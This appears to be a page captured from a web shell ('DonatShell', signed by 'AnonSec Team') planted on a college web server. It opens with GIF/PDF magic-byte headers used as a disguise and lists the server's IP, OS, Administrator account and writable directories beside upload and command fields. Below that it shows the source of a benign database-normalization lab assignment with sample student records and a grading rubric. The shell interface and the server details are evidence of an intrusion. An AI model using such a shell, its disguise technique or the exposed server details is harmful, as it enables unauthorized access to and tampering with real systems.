GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.164
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1600/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1600/Labs/Lab07//Lab07.phpinc
<?
// JimMartinson/CST1600/Labs/Lab07/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

#$showEvaluationVariables = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

$uploadFilename = str_replace('zip','txt',$uploadFilename);
?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate the ability to normalize data.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<ol class="count">
	<? // 1 ?>
	<li>
		Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
	</li>
	<? // 2 ?>
	<li>
		Create a text file called <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> directory and copy the following text into it:
		<div id="StartingText" class="code copyText" style="white-space: pre-wrap;">UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF:

2NF:

3NF:

Three data rows:

</div>
		<span class="note normal">Do not place any extra text in the text file other than as directed in steps 3 thru 6.</span>
		<fieldset><legend>The <b>student</b> table field meanings are:</legend>
			<ul>
				<li><b>Name</b> is the student's full name.</li>
				<li><b>HomeMobilePhoneNumbers</b> is the student's home phone number followed by the student's mobile phone number. <note>Not all students have both numbers.</note></li>
				<li><b>studentID</b> is a unique ID number assigned to the student.</li>
				<li><b>MajorCode1</b>, <b>MajorCode2</b>, and <b>MajorCode3</b> are the major codes for the student's majors. <note>Not all students have three majors.</note></li>
			</ul>
		</fieldset>
		<fieldset><legend>Business logic:</legend>
			<ul>
				<li>Each student may have more than one major. (no limit - which the UNF table does not allow)</li>
				<li>No student may have the same major more than once.</li>
				<li>No student may have the same phone number more than once. <note>Note: The home number is listed first, followed by a semicolon(;), then the mobile number.</note></li>
				<li>Each major code is unique.</li>
			</ul>
		</fieldset>
		<fieldset><legend>Designate primary keys, foreign keys, and unique fields with:</legend>
			<ul>
				<li><b class="bold copyText" style="font-family: monospace;">*</b> (asterisk) to denote a primary key field. <span class="note">PKs are unique and do not need to be marked with the <b>^</b> character.</span></li>
				<li><b class="bold copyText" style="font-family: monospace;">@</b> (at sign) to denote a foreign key field. Append <b>[table.field]</b> if the table and field a foreign key points to is not obvious.
					<br><span class="note">Such as when the FK field name is not the same as the name of the field it relates to.
					<br>E.G. The <b>rerortsTo</b> FK relates to the <b>employeeNumber</b> field in the <b>employees</b> table and would be written as: <b>reportsTo@[employees.employeeNumber]</b>.</span></li>
				<li><b class="bold copyText" style="font-family: monospace;">^</b> (caret) to denote a unique field that is not a primary key.</li>
			</ul>
		</fieldset>
	</li>
	<? // 3 ?>
	<li><b>1NF:</b> Normalize the tables to 1NF and list them under the <b>1NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 1NF. If all tables pass 1NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 4 ?>
	<li><b>2NF:</b> Normalize the tables to 2NF and list them under the <b>2NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 2NF. If all tables pass 2NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 5 ?>
	<li><b>3NF:</b> Normalize the tables and list them under the <b>3NF:</b> line.
		<ol>
			<li>Make note of why any tables that violate 3NF. If all tables pass 3NF, just note <b>OK</b>.</li>
			<li>Create fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you create and why. This should be rare, but you may want to add an Id field to a new table. Mostly you will be removing repeating fields.
				<br>Make a note of the tables you create and why. This is quite common when you normalize tables thru to 3NF.
			</li>
			<li>Rename fields or tables as needed. Designate a primary key for all tables.
				<br>Make a note of the fields you rename and why. Changes may be needed to remove non-alphanumeric characters, pluralization, or when you remove repeating fields, etc.
				<br>Make a note of the table you rename and why. This is sometimes done when the data remaining in the table is changed.
			</li>
		</ol>
	</li>
	<? // 6 ?>
	<li><b>Three data rows:</b> Show the first three rows of sample data as they would be stored in the 3NF tables under the <b>Three data rows:</b> line.
		<br><? showBegin('See the first three data rows','',true); ?><br>
		<table>
		 <tr>
			<th class="nowrap">Name</th>
			<th class="nowrap">HomeMobilePhoneNumbers</th>
			<th class="nowrap">studentID</th>
			<th class="nowrap">MajorCode1</th>
			<th class="nowrap">MajorCode2</th>
			<th class="nowrap">MajorCode3</th>
		 </tr>
		 <tr>
			<td class="nowrap copyText">Avram Hinton</td>
			<td class="nowrap copyText">103-391-7811;676-683-6301</td>
			<td class="nowrap copyText">34673656</td>
			<td class="nowrap copyText">NSA</td>
			<td class="nowrap copyText">CSS</td>
			<td class="nowrap copyText">CST</td>
		 </tr>
		 <tr>
			<td class="nowrap copyText">Hayes Gibson</td>
			<td class="nowrap copyText">447-149-5334</td>
			<td class="nowrap copyText">83681840</td>
			<td class="nowrap copyText">CST</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap copyText">Kristen Acosta</td>
			<td class="nowrap copyText">;972-658-1570</td>
			<td class="nowrap copyText">94086534</td>
			<td class="nowrap copyText">CP</td>
			<td class="nowrap copyText">MAD</td>
			<td></td>
		 </tr>
		</table>
		<? showEnd(); ?>
		<br><? showBegin('See the entire data set of 25 rows'); ?>
		<table>
		 <tr><th colspan="9">student(Name, HomeMobilePhoneNumbers, studentID, MajorCode1, MajorCode2, MajorCode3)</th></tr>
		 <tr>
			<th class="nowrap">Name</th>
			<th class="nowrap">HomeMobilePhoneNumbers</th>
			<th class="nowrap">studentID</th>
			<th class="nowrap">MajorCode1</th>
			<th class="nowrap">MajorCode2</th>
			<th class="nowrap">MajorCode3</th>
		 </tr>
		 <tr>
			<td class="nowrap">Avram Hinton</td>
			<td class="nowrap">103-391-7811;<span style="background-color:#fdd;">676-683-6301</span></td>
			<td class="nowrap">34673656</td>
			<td class="nowrap">NSA</td>
			<td class="nowrap">CSS</td>
			<td class="nowrap">CST</td>
		 </tr>
		 <tr>
			<td class="nowrap">Hayes Gibson</td>
			<td class="nowrap"><span style="background-color:#fdd">447-149-5334</span></td>
			<td class="nowrap">83681840</td>
			<td class="nowrap">CST</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Kristen Acosta</td>
			<td class="nowrap">;972-658-1570</td>
			<td class="nowrap">94086534</td>
			<td class="nowrap">CP</td>
			<td class="nowrap">MAD</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Colette Gibson</td>
			<td class="nowrap"><span style="background-color:#fdd">447-149-5334</span></td>
			<td class="nowrap">96299266</td>
			<td class="nowrap">NSA</td>
			<td class="nowrap">CSS</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Kylee Pugh</td>
			<td class="nowrap">168-554-8071;362-673-1296</td>
			<td class="nowrap">49622000</td>
			<td class="nowrap">CSS</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Nissim Moreno</td>
			<td class="nowrap">831-774-5128;<span style="background-color:#fdd">676-683-6301</span></td>
			<td class="nowrap">12755860</td>
			<td class="nowrap">MAD</td>
			<td class="nowrap">WP</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Lael Abbott</td>
			<td class="nowrap">733-772-2949;298-846-3570</td>
			<td class="nowrap">84228748</td>
			<td class="nowrap">CST</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Ethan Gomez</td>
			<td class="nowrap">484-285-4061;344-277-7057</td>
			<td class="nowrap">40208573</td>
			<td class="nowrap">CP</td>
			<td class="nowrap">WP</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Jena Sosa</td>
			<td class="nowrap">814-888-1642;895-585-6779</td>
			<td class="nowrap">99496218</td>
			<td class="nowrap">CST</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap"><span style="background-color:#fdd">John Smith</span></td>
			<td class="nowrap">860-521-5683;418-765-5461</td>
			<td class="nowrap">21479092</td>
			<td class="nowrap">CST</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Amos McCarthy</td>
			<td class="nowrap">435-975-9981;721-269-1301</td>
			<td class="nowrap">25357066</td>
			<td class="nowrap">CST</td>
			<td class="nowrap">NSA</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Caleb Madden</td>
			<td class="nowrap">943-541-5201</td>
			<td class="nowrap">98159249</td>
			<td class="nowrap">CSS</td>
			<td class="nowrap">CP</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Xerxes Hayes</td>
			<td class="nowrap">877-544-4230;</td>
			<td class="nowrap">83312932</td>
			<td class="nowrap">WP</td>
			<td class="nowrap">CP</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Mira Gentry</td>
			<td class="nowrap">;461-854-5007</td>
			<td class="nowrap">42683650</td>
			<td class="nowrap">MAD</td>
			<td class="nowrap">WP</td>
			<td class="nowrap">CP</td>
		 </tr>
		 <tr>
			<td class="nowrap">Harper Mcmahon</td>
			<td class="nowrap">267-222-8035;530-888-7381</td>
			<td class="nowrap">55593577</td>
			<td class="nowrap">NSA</td>
			<td class="nowrap">CSS</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Bruce Maxwell</td>
			<td class="nowrap">465-255-0860;217-387-8653</td>
			<td class="nowrap">44107438</td>
			<td class="nowrap">CP</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap"><span style="background-color:#fdd">John Smith</span></td>
			<td class="nowrap">;945-553-7908</td>
			<td class="nowrap">32388303</td>
			<td class="nowrap">CSS</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Montana Dickson</td>
			<td class="nowrap">;491-349-5614</td>
			<td class="nowrap">53068679</td>
			<td class="nowrap">MAD</td>
			<td class="nowrap">WP</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Hayden Mcintyre</td>
			<td class="nowrap">277-380-2418;785-939-8667</td>
			<td class="nowrap">31441510</td>
			<td class="nowrap">CST</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Hayes Knapp</td>
			<td class="nowrap">779-778-5915;754-114-8609</td>
			<td class="nowrap">78171647</td>
			<td class="nowrap">WP</td>
			<td class="nowrap">MAD</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Lucy Merritt</td>
			<td class="nowrap">;294-399-5728</td>
			<td class="nowrap">22255753</td>
			<td class="nowrap">NSA</td>
			<td class="nowrap">CST</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Dorian Morris</td>
			<td class="nowrap">780-424-6179;149-150-0084</td>
			<td class="nowrap">15665209</td>
			<td class="nowrap">WP</td>
			<td class="nowrap">MAD</td>
			<td class="nowrap">CSS</td>
		 </tr>
		 <tr>
			<td class="nowrap">Halee Bryan</td>
			<td class="nowrap">454-713-2195;622-825-8598</td>
			<td class="nowrap">10063618</td>
			<td class="nowrap">WP</td>
			<td colspan=2></td>
		 </tr>
		 <tr>
			<td class="nowrap">Craig Warner</td>
			<td class="nowrap">302-746-8454;147-544-8901</td>
			<td class="nowrap">46483879</td>
			<td class="nowrap">CST</td>
			<td class="nowrap">CST</td>
			<td></td>
		 </tr>
		 <tr>
			<td class="nowrap">Lev Albert</td>
			<td class="nowrap">;620-799-3350</td>
			<td class="nowrap">52300353</td>
			<td class="nowrap">WP</td>
			<td class="nowrap">CP</td>
			<td class="nowrap">CST</td>
		 </tr>
		</table>
		<? showEnd(); ?>
	</li>
	<? // 7 ?>
	<li>Turn in your assignment:
		<br><? showBegin('See an example text file submission from another data set'); ?><br>
<pre>This database stores student grades.

Business Logic:
	Students may take more than one class.
	Students may not take the same class more than once.
	Students may have multiple majors.
	There may be multiple instructors per course.
	Instructors may move to teach in another room.
	Instructors may teach in multiple rooms simultaniouly via web meeting.

Field meanings:
	StudentNo is a unique number assigned to each student.
	StudentName is the student's full name.
	Majors are the code(s) for the student's major(s).
	ClassID is a unique number assigned to each class.
	CourseNo is the department and course number identifier.
	CourseName is the name of the course.
	InstrNo is a unique number assigned to each instructor and the instructor(s) of the class.
	InstrName is the instructor's full name.
	Room is the room(s) the class is held in.
	Grade is the student's grade for the class.

Sample data:
StudentNo; StudentName;    Majors;  ClassID; CourseNo; CourseName;                  InstrNo;           InstrName;                     Room;       Grade
34673656;  Avram Hinton;   NSA;     123456   CST1611;  Web Server Administration;   00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; CP,MAD;  345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm328;      F
34673656;  Avram Hinton;   NSA;     234567   CST2608;  Linux Server Administration; 00007967,00008843; Jim Martinson, Rocky Hyberger; rm328, B48; C
83681840;  Hayes Gibson;   CST;     345678   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A
94086534;  Kristen Acosta; CP,MAD;  456789   CST1022;  HTML II and Javascript;      00008612;          Allen Benusa;                  rm345, B67; B
94086534;  Kristen Acosta; CP,MAD;  567890   CST1600;  Relational Databases;        00007967;          Jim Martinson;                 rm327;      A

<b>============================================== Example lab submission: ==============================================</b>
UNF:
student_grade_report (StudentNo, StudentName, Majors, ClassID, CourseNo, CourseName, InstrNo, InstrName, Room, Grade)

1NF:
<span class="note normal">There are two methods you could use when fixing 1NF violations:
1) Where there are non-atomic data values in a field, repeat each row as many times as needed and remove all but one of the non-atomic values.
   For each of the fields that had non-atomic values, make that field part of the PK.
   This will usually lead to 2NF violations later, so I call this the <b>Slower Method</b>.
2) Create a table for each field that has non-atomic data values, create a table to hold those values and create a new table to link them.
   This will remove a lot of 2NF violations later, so I call this the <b>Faster Method</b>.
This example uses the <b>Faster Method</b>.</span>
 1) There was no primary key.
    After looking at the canidate keys I determined the PK to be a composite key of StudentNo and ClassID.
 2) The StudentName, Majors, InstrNo, InstrName, and Room fields have multiple values in some rows.
    These fields violate 1NF and need to use a one-to-many relationship to other tables for the students, majors, instructors, and rooms.
    I created the tables: student, major, instructor, and room.
    The InstrName depends on the InstrNo, so it is moved to the new instructor table. I also broke up into firstName and lastName fields.
    I created linking tables to allow for multiple values: student_grade_report_instructor, student_grade_report_major, and student_grade_report_room.
    I then removed the StudentName, Majors, InstrNo, and Room from the student_grade_report table
 3) The CourseNo does not depend on the StudentNo, only the ClassID.
    I created the table class to store class data, and removed CourseNo and CourseName from the student_grade_report table.
This lead to the following entity tables: class, course, instructor, major, room, and student.
The following one-to-many tables: class_instructor, class_room, and student_major.
Then the student_grade_report table (Now containing only StudentNo, ClassID, and Grade) was re-named studentclassgrade.
class ( ClassID*, CourseNo, CourseName )
class_instructor( ClassID*@, InstrNo*@)
class_room(ClassID*@, Room*@)
instructor (InstrNo*, firstName, lastName)
major (MajorCode*)
room (Room*)
student (StudentNo*, firstName, lastName)
student_major (StudentNo*, MajorCode*@)
studentclassgrade (StudentNo*, ClassID*, Grade)

2NF:
The following tables have composite PKs and need to be evaluated for 2NF: class_instructor, class_room, studentclassgrade, and student_major.
The tables class_instructor, class_room, and student_major do not have any non-key fields and pass 2NF.
The studentclassgrade table also passes 2NF because the Grade depends on both the StudentNo and ClassID.
OK for 2NF.

3NF:
 1) The CourseName in teh class table depends on the CourseNo, not the ClassID.
    I created a course table for that, and removed CourseName from the class table.
class ( ClassID*, CourseNo@ )
class_instructor( ClassID*@, InstrNo*@)
class_room(ClassID*@, Room*@)
course (CourseNo*, CourseName)
instructor (InstrNo*, firstName, lastName)
major (MajorCode*)
room (Room*)
student (StudentNo*, firstName, lastName)
student_major (StudentNo*@, MajorCode*@)
studentclassgrade (StudentNo*@, ClassID*@, Grade)

Three data rows: <span class="note">I have done all six rows for this example, you need do it for only the first three rows of the sample data.</span>

class (ClassID*, CourseNo@)
       123456,   CST1611
       345678,   CST1600
       234567,   CST2608
       456789,   CST1022
       567890,   CST1600

class_instructor (ClassID*@, InstrNo*@)
                  123456,    00007967
                  345678,    00007967
                  234567,    00007967
                  234567,    00008843
                  456789,    00008612
                  567890,    00007967

class_room (ClassID*@, Room*@)
            123456,    rm327
            345678,    rm327
            234567,    rm328
            234567,    B48
            456789,    rm345
            456789,    B67
            567890,    rm327

course (CourseNo*, CourseName)
        CST1611,   Web Server Administration
        CST1600,   Relational Databases
        CST2608,   Linux Server Administration
        CST1022,   HTML II and Javascript

instructor (InstrNo*, firstName, lastName)
            00007967, Jim,       Martinson
            00008843, Rocky,     Hyberger
            00008612, Allen,     Benusa

major (MajorCode*)
       NSA
       CP
       CST
       MAD

room (Room*)
      rm328
      B48
      rm327
      rm345
      B67

student (StudentNo*, firstName, lastName)
         34673656,   Avram,     Hinton
         94086534,   Kristen,   Acosta
         83681840,   Hayes,     Gibson

student_major (StudentNo*@, MajorCode*@)
               34673656,    NSA
               94086534,    CP
               83681840,    CST
               94086534,    MAD

studentclassgrade (StudentNo*@, ClassID*@, Grade)
                   34673656,    123456,    A
                   94086534,    345678,    F
                   34673656,    234567,    C
                   83681840,    345678,    A
                   94086534,    456789,    B
                   94086534,    567890,    A

<b>====================================================================================================================</b>
</pre>
		<? showEnd(); ?>
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.
			</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
<?=$gradeNote?>
</fieldset>
<?
$PartialGradingCriteria = '
<b>Total possible points: assignmentPoints</b>
<br>
-15 1NF violation with multiple values in a field. Further grading will not be done.
<br>
-5 1NF violation using multiple fields in a table for the same data type.
<br>
-5 1NF violation using multiple tables for the same data type.
<br>
 &nbsp; See <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Resources/1NF.txt" target="_blank">1NF.txt</a> for examples of how to resolve 1NF violations.
<br>
-4 2NF violation.
<br>
-3 3NF violation.
<br>
-4 Data loss (Data not in tables or link between data is lost).
<br>
-4 Deletion anomaly.
<br>
-3 Insert or update anomaly.
<br>
-2 Incorrect primary key.
<br>
-2 Duplication of data (not covered by an insert or update anomaly).
<br>
-1 Duplication of table for same data type.
<br>
-1 Incorrect foreign key.
<br>
-1 Incorrect unique key.
<br>
-1 Bad table or field name.
<br>
-1 New or renamed field not listed under <b>Table changes</b> section.
<br>
-2 Table in <b>Three data rows</b> section does not match table in <b>3NF</b> section.
<br>
-1 Data incorrect in <b>Three data rows</b> section.
<br>
';
require('Gradebook/EvaluationSubmission_END.phpinc');
require('common/sectionFooter.phpinc');
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team